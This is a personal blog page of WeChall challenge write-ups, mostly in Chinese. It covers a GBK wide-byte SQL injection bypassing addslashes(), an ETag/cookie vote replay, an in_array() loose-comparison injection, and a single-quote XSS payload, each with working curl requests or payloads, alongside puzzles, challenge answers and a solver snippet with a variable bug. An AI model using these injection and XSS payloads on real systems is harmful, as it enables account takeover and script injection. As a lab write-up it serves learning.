Hello Navi

Tech, Security & Personal Notes

Challenge

MySQL/Exploit 类,难度 5.44,909 人解出。源码可见,使用 addslashes() 对用户输入转义,但数据库连接字符集设为 GBK。目标:以 admin 身份登录。密码字段会被 md5() 处理,无法注入。

Solution

经典宽字节注入(Wide Byte Injection)。

addslashes() 会在 '"\NUL 前插入反斜杠 \(0x5c)。正常情况下这能防住简单的 SQL 注入,但 GBK 编码下,0x5c 是合法的多字节字符的第二字节。

GBK 编码范围:首字节 0x81-0xFE,尾字节 0x40-0xFE(不含 0x7F)。所以 0xBF 0x5C 是一个合法的 GBK 字符「縗」。

攻击流程:

表单使用 GET 方法提交,按钮值为「注册」。先确认正常登录行为:

1
2
3
$ curl -s -b 'WC=...' \
'https://www.wechall.net/en/challenge/addslashes/index.php?username=test&password=test&login=login'
You are logged in, but not as Admin.

直接注入单引号,被 addslashes() 拦截:

1
2
3
$ curl -s -b 'WC=...' \
'https://www.wechall.net/en/challenge/addslashes/index.php?username=admin%27--+-&password=x&login=login'
Wrong username/password.

%bf 前缀构造宽字节。admin' 经过 addslashes() 变成 admin\',即 admin%5c%27。我们在前面加 %bf,使 %bf%5c 被 GBK 解码为一个字符,%27(单引号)就逃逸了:

1
2
3
$ curl -s -b 'WC=...' \
'https://www.wechall.net/en/challenge/addslashes/index.php?username=%bf%27+OR+1%3d1--+-&password=x&login=login'
You are logged in, but not as Admin.

%bf%5c 被 GBK 吃掉成为「縗」,后面的 ' OR 1=1-- - 被解释为 SQL,绕过了转义。但 OR 1=1 只会返回表中第一条记录,不一定是 Admin。需要精确指定 Admin 用户名,用 hex 编码避免单引号被转义:

1
2
3
$ curl -s -b 'WC=...' \
'https://www.wechall.net/en/challenge/addslashes/index.php?username=%bf%27+OR+username%3d0x41646d696e+--+&password=x&login=login'
You are logged in. congrats!

0x41646d696e'Admin' 的 hex 编码,不包含单引号,不会被 addslashes() 干扰。

核心原理图示:

1
2
3
4
5
输入:    ' OR username=0x41646d696e -- -
转义: \' OR username=0x41646d696e -- -
GBK 解: [縗]' OR username=0x41646d696e -- - ← 反斜杠被吞,单引号逃逸
SQL: WHERE user='[縗]' OR username=0x41646d696e -- -'
→ 匹配 Admin 用户,密码条件被注释掉

OR 1=1 虽然能绕过密码检查,但只返回第一条记录。实际解题需要 OR username=0x41646d696e 精确匹配 Admin。密码字段会被 md5() 处理后再拼接,无法通过用户名注入绕过,所以必须用 -- 注释掉密码条件。

Challenge

The page shows a random 8-bit binary string and asks for its decimal equivalent:

Please convert this binary data to a decimal number. 01100101

The number is randomly generated and bound to your session.

Solution

Convert with Python or JavaScript:

1
2
>>> int('01100101', 2)
101
1
2
> parseInt('01100101', 2)
101

Manual: each bit position is a power of 2, from right (2^0) to left (2^7). 01100101 = 64+32+4+1 = 101.

Since the challenge is session-bound, you'll see a different number each visit — the method stays the same.

Challenge

一个投票系统,需要投至少 2 次票。没有 IP 检查,但使用 HTTP 缓存机制(ETag/VOTE cookie)防止重复投票。

Solution

投票页面 votes.php 用 HTTP 缓存头做投票去重——这不是缓存的典型用法,但原理相同:

  1. VOTE cookie: 服务器设置 VOTE=<value> cookie 标记已投票
  2. ETag / If-None-Match: 服务器返回 ETag 头,浏览器后续请求带 If-None-Match 验证资源未变

两层缺一不可: 没有 cookie 服务器不知道你投过票;没有 If-None-Match 服务器认为是新的投票请求。

第一次投票成功后,服务器返回 "Please press the vote button again"。关键在于第二次请求必须同时带上第一次响应的 VOTE cookie 和 ETag 值。

ETag 值带 W/ 前缀表示 weak validator(语义等价即可,不要求字节一致),但 curl 传 If-None-Match 时要带这个前缀。

1
2
3
4
5
6
7
8
9
10
11
# 第一次投票 - 捕获 ETag 和 VOTE cookie
$ curl -v -s -b 'WC=...' 'https://www.wechall.net/en/challenge/tracks/votes.php?vote=3' 2>&1 | grep -i 'etag\|set-cookie'
# ETag: W/22661-0-VDFqOmu5pLs8JDjj
# Set-Cookie: VOTE=22661-0-VDFqOmu5pLs8JDjj

# 第二次投票 - 带上 VOTE cookie 和 If-None-Match
$ curl -s -b 'WC=...; VOTE=22661-0-VDFqOmu5pLs8JDjj' \
-H 'If-None-Match: W/22661-0-VDFqOmu5pLs8JDjj' \
'https://www.wechall.net/en/challenge/tracks/votes.php?vote=3'
# Vote registered!
# Your answer is correct

Challenge

Connect the Dots (Stegano) This is a stegano challenge from galen. Can you see the solution?

点阵隐写挑战。下载图片后需要识别点阵图案代表的含义。

Solution

下载 dots.jpg(288×96 JPEG,Adobe Photoshop CS 制作)。

图片由大量黑色圆点组成,分布在白色背景上。仔细观察可以发现点阵排列非常规律:

顶部的 18×3 点阵,每 2 列一组可以形成 3 行 2 列的 Braille 盲文"方"(cell),共计 9 方。

盲文解码

英文一级盲文字母表(Grade 1 English Braille):

字母 点位 字母 点位
a 1 n 1,3,4,5
b 1,2 o 1,3,5
c 1,4 p 1,2,3,4
d 1,4,5 q 1,2,3,4,5
e 1,5 r 1,2,3,5
f 1,2,4 s 2,3,4
g 1,2,4,5 t 2,3,4,5
h 1,2,5 u 1,3,6
i 2,4 v 1,2,3,6
j 2,4,5 w 2,4,5,6
k 1,3 x 1,3,4,6
l 1,2,3 y 1,3,4,5,6
m 1,3,4 z 1,3,5,6

6 点盲文结构:

1
2
3
4
列1  列2
● ● ← 行1 (点位 1, 4)
● ● ← 行2 (点位 2, 5)
● ● ← 行3 (点位 3, 6)
  • 左侧从上到下: 点 1, 2, 3
  • 右侧从上到下: 点 4, 5, 6
  • 凸起点 = "raised" (on), 平点 = "off"

对照英文一级盲文(Grade 1 English Braille)解码每方中的凸起点位:

1
2
3
4
5
6
7
8
9
10
Cell 1: dots 2,4,5,6 → t
Cell 2: dots 1,2,5 → h
Cell 3: dots 1,5 → e
Cell 4: dots 2,3,4 → s
Cell 5: dots 1,3,5 → o
Cell 6: dots 1,2,3 → l
Cell 7: dots 1,3,6 → u
Cell 8: dots 2,3,4,5 → t
Cell 9: dots 2,4 → i
...
skunk

Challenge

为 WeChall 邮件设置 GPG 加密,然后解密邮件获取答案。

挑战页面提示需要配置 GPG 公钥到账户,然后触发一封加密邮件发送到注册邮箱,解密即可拿到 flag。

Solution

Step 1: 检查本地是否已有 GPG 密钥,没有则生成:

1
2
$ gpg --list-keys
$ gpg --list-secret-keys

如果已有可用密钥(secssb 不带 #)可跳过生成。否则:

1
2
3
4
5
6
7
8
$ gpg --batch --gen-key <<EOF
Key-Type: RSA
Key-Length: 2048
Name-Real: WeChall GPG
Name-Email: wechall-gpg@example.com
Expire-Date: 0
%no-protection
EOF

--batch 模式避免交互式确认,%no-protection 跳过 passphrase(CTF 环境不需要安全性)。

Step 2: 导出公钥并上传到 WeChall 账户设置:

1
$ gpg --armor --export wechall-gpg@example.com > /tmp/wechall-pubkey.asc

将公钥粘贴到 https://www.wechall.net/en/account 的 GPG 设置区域,点击 "Upload Key"。

注意: WeChall 表单包含一个隐藏的 CSRF token(gwf3_csrf),用于防伪造请求。上传公钥时必须先 GET 页面拿到 token,再用同一个 cookie POST 提交,否则会被拒绝。

Step 3: 访问挑战页面,点击 "Send me encrypted mail please"。WeChall 会用刚上传的公钥加密一封邮件发送到注册邮箱。如果报错 "Please enable GPG encryption in your account settings",说明 key 未成功保存,回到 Step 2 重试。

Step 4: 收到的邮件是一段 PGP 加密块,保存为本地文件后解密:

1
$ gpg --decrypt /tmp/wechall_gpg.txt

GPG 会用对应的私钥自动匹配解密,输出明文内容。

ROIIGDGILMAS

关键点:

  • GPG 流程: 生成密钥 → 上传公钥 → 对方用公钥加密 → 本地用私钥解密
  • WeChall 要求 RSA 密钥,2048 位足够
  • --armor 输出 ASCII 格式,方便复制粘贴到网页表单
  • 私钥留在本地 keyring,gpg --decrypt 自动匹配
  • 加密邮件内容是 PGP MESSAGE block,注意保留完整的 -----BEGIN PGP MESSAGE----------END PGP MESSAGE----- 头尾

Challenge

Account Cracked — I think some people have cracked my wechall account. Do you really think your scripts are safe ?

用户名 WeChall 的账号被破解了,猜出密码登录。

Solution

页面模拟了一个论坛帖子:

  1. WeChall 发帖:"I think some people have cracked my wechall account. Do you really think your scripts are safe ?"
  2. gizmore 回复:"Well, maybe your password was very easy to guess or you reused it on another site? Do not choose passwords that are affiliated with the site and your person etc... You should maybe reset your password? PS: Do not re-use important passwords! Edit: I think you are not even a legit user, since you post news items :WEIRD:"

底部有一个登录表单:用户名预填 WeChall,密码输入框 wcpwd,提交按钮。

输入 wechall → 返回 uhoh.... you are close,说明密码以 wechall 开头。

输入 结果
wechall CLOSE
wechall1 / wechall2 / ... CLOSE
wechalladmin / wechallpost CLOSE
WeChall / gizmore / password UNKNOWN
wechallbot CORRECT ✅

系统对密码做前缀匹配:包含 wechall 前缀的都返回 CLOSE,其余返回 UNKNOWN。

关键推理:

gizmore 的话里有一句 Edit:"I think you are not even a legit user, since you post news items :WEIRD:"

WeChall 这个用户不是真人 — 它是站内的 bot 账号,负责发布新闻。密码就是 wechall + 身份 = wechallbot

wechallbot

Challenge

"Can you see the light?" — 2-level encoding challenge。页面显示 3 段大二进制数据,分别用 RGB 三种颜色渲染。

Solution

颜色提示了处理方法:三种颜色通道是三个独立的二进制序列,需要做位运算组合。

Level 1 — OR

将三个颜色通道的二进制逐 bit 做 OR(或)运算:只要任意一个颜色在该 bit 为 1,结果就为 1。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3
# 三个颜色块的二进制数据(全部拼接)
>>> red = '000000000110000001100000000000000000000001000000...'
>>> green = '010000010110100000100000000000000000000000000001...'
>>> blue = '010000010100000001100001001000010010000000001000...'
# 逐 bit OR
>>> result = ''
>>> for i in range(len(red)):
... result += '1' if int(red[i]) | int(green[i]) | int(blue[i]) else '0'
...
# 按 8-bit 转 ASCII
>>> ''.join(chr(int(result[i:i+8], 2)) for i in range(0, len(result), 8))
'Aha! It seems you got something interesting!\nWell to go to the next stage, go there:\n01001100011...'

OR 的结果是一段提示文本 + 4 行二进制串。将那 4 个二进制串按 8-bit 解码:

1
2
3
4
01001100011010010110011101101000  ->  Ligh
00110111010111110100110001100101 -> 7_Le
01110110011001010110110000110010 -> vel2
00101110011100000110100001110000 -> .php

得到文件名 Ligh7_Level2.php。访问 http://www.wechall.net/challenge/anto/enlightment/Ligh7_Level2.php 进入 Level 2。

Level 2 — XOR

Level 2 页面使用 CMY(Cyan, Magenta, Yellow)三色渲染另一组二进制数据。这次需要用 XOR(异或)运算:

1
2
3
4
5
6
7
8
$ python3
# 逐 bit XOR
>>> result = ''
>>> for i in range(len(cyan)):
... result += '1' if int(cyan[i]) ^ int(magenta[i]) ^ int(yellow[i]) else '0'
...
>>> ''.join(chr(int(result[i:i+8], 2)) for i in range(0, len(result), 8))
'Triple-X-OR, right?\nGreat! Here is what you should be looking for..."Gimme_Da_Light"'

最终答案在消息末尾。

Gimme_Da_Light

Challenge

Digraph substitution cipher — 每个明文字母编码为 2 个字符的 pair。密文保留原始空格分词,无换行。明文是标准英文,含大小写和标点。

密文约 290 字符,136 个 digraph pair,30 个唯一 digraph(26 字母 + 4 标点 !?.:)。映射关系和密码随 session 变化。

这是同音 cipher — 同一字母可能对应多个 digraph(例如 cvxl 都映射到 cqnhc 都映射到 e)。这意味着纯频率分析无法唯一确定映射,需要结合词结构消歧。

Solution

第一步:识别标点 digraph

密文保留空格分词,标点出现在词尾。22 个词的固定结构:

1
2
3
4
5
6
词 0  "congratulations!"  → 末尾 digraph = '!'
词 5 "successfully!" → 末尾 digraph = '!'(应与词 0 相同)
词 10 "either." → 末尾 digraph = '.'
词 12 "it?" → 末尾 digraph = '?'
词 13 "well." → 末尾 digraph = '.'(应与词 10 相同)
词 20 "solution:" → 末尾 digraph = ':'

第二步:用词结构逐步还原字母映射

词 0 "congratulations!" 是关键锚点 — 16 个 digraph 对应 16 个字符,且字母重复模式固定(a 出现 2 次、t 2 次、o 2 次、n 2 次)。对齐后直接得到 12 个字母映射。

然后用短词交叉验证:

1
2
3
4
5
6
7
词 19 "as"           → 2 digraph,与词 20 首字母共享
词 20 "solution:" → 9 digraph,末尾是 ':'
词 1 "?ou" → "you" → 第 1 个 digraph = 'y'
词 3 "t?is" → "this" → 第 2 个 digraph = 'h'
词 6 "?as" → "was" → 第 1 个 digraph = 'w'
词 7 "not" → 直接验证 n/o/t 映射
词 8 "too" → 验证 'o' 的双字母模式

逐步扩展到全部 30 个 digraph。

第三步:模拟退火(备选/验证)

纯频率分析 + 模拟退火也能解,但单独使用收敛较慢(同音 cipher 导致多个等价映射)。词结构推导出部分映射后,用模拟退火补全剩余未知 digraph 更实用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import random, math

eng_freq = {'e':.127,'t':.091,'a':.082,'o':.075,'i':.070,'n':.067,
's':.063,'h':.061,'r':.060,'d':.043,'l':.040}

def score_word(word):
clean = word.rstrip('!.,?:').lower()
s = sum(eng_freq.get(c, 0) * 2 for c in clean)
common = {'the':5,'and':5,'was':5,'not':5,'too':5,'you':5,'this':5,
'it':5,'as':5,'is':5,'congratulations':10,'decrypted':10,
'successfully':10,'difficult':10,'keyword':10,'solution':10}
return s + common.get(clean, 0)

def solve_sa(digraphs, chars, words, n_iter=100000, n_restarts=20):
best_mapping, best_score = None, -1
for _ in range(n_restarts):
m = dict(zip(digraphs, random.sample(chars, len(digraphs))))
sc = sum(score_word(decode(m, w)) for w in words)
t = 5.0
for _ in range(n_iter):
d1, d2 = random.sample(digraphs, 2)
m[d1], m[d2] = m[d2], m[d1]
ns = sum(score_word(decode(m, w)) for w in words)
if ns > sc or random.random() < math.exp((ns - sc) / max(t, 0.01)):
sc = ns
if sc > best_score:
best_score, best_score = sc, dict(m)
else:
m[d1], m[d2] = m[d2], m[d1]
t *= 0.99995
return best_mapping

实测:20 次重启 × 100k 迭代,约 2 分钟,不一定收敛到正确明文。词结构推导秒出结果。

第四步:提取密码

明文末尾格式:enter this keyword as solution: [PASSWORD]!

密码在 solution: 后、! 前。提交时去掉末尾 !(它是明文标点,不是密码的一部分)。

注意事项: - 同音 cipher:同一字母可能对应多个 digraph,不能假设一一对应 - 密码随 session 变化,每次访问页面重新生成

Challenge

一个有 SQL 注入漏洞的 PHP 脚本,in_array() 白名单检查可被绕过。要求提供最短的修复(least effort fix)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$whitelist = array(1, 2, 3);
if (false === ($show = isset($_GET['show']) ? $_GET['show'] : false)) {
die('MISSING PARAMETER; USE foo.bar?show=[1-3]');
}
elseif (in_array($show, $whitelist)){
$query = "SELECT 1 FROM `table` WHERE `id`=$show";
echo 'Query: '.htmlspecialchars($query, ENT_QUOTES).'<br/>';
die('SHOWING NUMBER '.htmlspecialchars($show, ENT_QUOTES));
}
else {
die('HACKER NONONO');
}
?>

Solution

漏洞分析: in_array() 默认使用 loose comparison(==)。白名单是整数 1, 2, 3,而输入 "1 union select 1" 通过 == 比较时会先转为整数:"1 union select 1" == 1 → true。因此 whitelist 检查被绕过,$show 仍然带着完整注入字符串进入 SQL 查询。

最短修复:

挑战要求「least effort」——在代码的某个逻辑位置增加最少字符来修复漏洞。

有两种 2 字符的方案:

  • 1* — 将 SQL 改为 WHERE \id`=1*\(show`,在 SQL 层面做乘法运算强制 `\)show` 转为数字
  • -0 — 将 SQL 改为 WHERE \id`=$show-0`,减法运算同样强制转为数字

两种都只增加 2 个字符,比 (int)$show(4 字符)或 in_array($show, $whitelist, true)(6 字符)更短。

漏洞页面接受 answer 字段提交,cmd=Fix+It,不需要 CSRF token。

1*

Challenge

利用一行有 XSS 漏洞的 PHP 代码。目标是找到漏洞点并提交修复方案。

1
echo "<a href='http://".htmlspecialchars(Common::getPost('input'))."'>Exploit Me</a>";

Solution

漏洞分析: htmlspecialchars() 的默认模式是 ENT_COMPAT,只转义双引号 "(转为 &quot;),不转义单引号 '。而 href 属性值恰好用单引号包裹,因此可以通过单引号逃逸出属性值,注入 XSS 事件。

第一步 — 漏洞利用:

在 input 中输入一个单引号闭合 href,然后注入事件处理属性:

1
' onmouseover='alert(1)

生成的 HTML:

1
<a href='http://' onmouseover='alert(1)'>Exploit Me</a>

注意三个单引号的闭合逻辑: - href='http:// 为 HTML 模板的开头部分 - 第一个 ' 闭合了 href 的起始单引号 - onmouseover='alert(1)' 被解析为新的 HTML 属性 - 最后的 '> 会落在属性值的单引号后面(不闭合也不影响渲染)

悬停在链接上就会触发 onmouseover。在 WeChall 自己的测试页面里,鼠标悬停就能看到 alert 弹窗。

第二步 — 修复:

htmlspecialchars() 加上 ENT_QUOTES 标志,使单引号也被转义:

1
echo "<a href='http://".htmlspecialchars(Common::getPost('input'), ENT_QUOTES)."'>Exploit Me</a>";

加上 ENT_QUOTES 后,输入 ' 会被转为 &#039;,无法再逃逸 href 属性。

提交方式: POST 到 htmlspecialchars.php,字段名为 solution(不是 answer),cmd=Submit。需要 CSRF token。

echo Exploit Me;
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE